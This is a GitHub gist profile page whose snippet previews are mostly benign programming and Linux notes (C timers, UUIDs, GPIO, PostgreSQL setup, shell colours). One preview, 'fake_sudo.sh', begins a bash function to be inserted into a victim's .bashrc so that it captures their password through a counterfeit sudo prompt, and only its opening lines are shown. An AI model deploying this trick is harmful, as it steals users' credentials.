Skip to content

Instantly share code, notes, and snippets.

View a2gs's full-sized avatar
😎
nice

André Augusto Giannotti Scotá a2gs

😎
nice
View GitHub Profile
@a2gs
a2gs / timer.c
Created May 30, 2024 17:40
simple sigalrm sample
/* Andre Augusto Giannotti Scota (https://sites.google.com/view/a2gs/ andre.scota@gmail.com) */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
void handleAlarmSignal(int signum)
{
printf("Timeout!\n");
exit(1);
@a2gs
a2gs / uuid.c
Created March 30, 2022 04:10
UUID sample code // OSF DCE -- Linux
/* Andre Augusto Giannotti Scota (https://sites.google.com/view/a2gs/ andre.scota@gmail.com) */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <uuid/uuid.h>
int main(int argc, char *argv[]) {
uuid_t ctx_uuid;
char uuid[37] = {0};
@a2gs
a2gs / fake_sudo.sh
Last active January 19, 2020 21:09
A fake sudo prompt ('leech' collector)
# https://null-byte.wonderhowto.com/how-to/steal-ubuntu-macos-sudo-passwords-without-any-cracking-0194190/
# Insert into .bashrc
function sudo () {
# A "realsudo" variable is created. It calls the `which` command to locate
# the path to the real sudo binary. This is used later in the function to
# execute the target's desired command.
realsudo="$(which sudo)"
# The `read` command will prompt (`-p`) the target with a convincing password

Keybase proof

I hereby claim:

  • I am a2gs on github.
  • I am a2gs (https://keybase.io/a2gs) on keybase.
  • I have a public key whose fingerprint is 1DF9 BC07 199E 6AB3 DCF3 50DD 2A96 DF8D 7725 0890

To claim this, I am signing this object:

@a2gs
a2gs / minicom + Arduino Serial
Created August 4, 2019 05:25
minicom + Arduino Serial
1)
minicom -s -b 9600 -o -D /dev/ttyUSB0
2)
"Serial port setup" and set:
Serial Device: /dev/ttyUSB0
Bps/Par/Bits : 57600 8N1
Hardware Flow Control : No
Software Flow Control : No
@a2gs
a2gs / Raspberry Pi GPIO
Last active September 16, 2020 18:59
Raspberry Pi GPIO
1) Exporting a PIN (example, 9):
echo "9" > /sys/class/gpio/export
(/sys/class/gpio/unexport to undo)
2) Setting PIN direction
echo "out" > /sys/class/gpio/gpio9/direction
3) Changing/reading PIN value:
echo "1" > /sys/class/gpio/gpio9/value
0) Debian instalation
(ref: https://wiki.postgresql.org/wiki/Apt#Quickstart)
sudo apt-get install curl ca-certificates
curl https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -
sudo sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt/ $(lsb_release -cs)-pgdg main" > /etc/apt/sources.list.d/pgdg.list'
sudo apt-get update
sudo apt-get install postgresql
/* sudo apt-get install pgadmin4 */
@a2gs
a2gs / passwordGenerator.sh
Last active July 10, 2019 18:47
Linux (bash) password generator
#!/bin/bash
export LC_ALL=C
tr -dc 'A-Za-z0-9!"#$%&'\''()*+,-./:;<=>?@[\]^_`{|}~' </dev/urandom | head -c 18 ; echo
@a2gs
a2gs / templateParameter.cpp
Created May 21, 2019 02:01
Template parameter
#include <iostream>
using namespace std;
void print1(int a[5])
{
for (int i =0; i < 5; i++)
cout << a[i] << endl;
}
template<class T, int N>
@a2gs
a2gs / shellColor.sh
Created April 19, 2019 21:05
A little list of shell escape colors
#!/bin/bash
echo -e "\033[1;37mWHITE"
echo -e "\033[0;30mBLACK"
echo -e "\033[0;34mBLUE"
echo -e "\033[0;32mGREEN"
echo -e "\033[0;36mCYAN"
echo -e "\033[0;31mRED"
echo -e "\033[0;35mPURPLE"
echo -e "\033[0;33mYELLOW"
echo -e "\033[1;30mGRAY"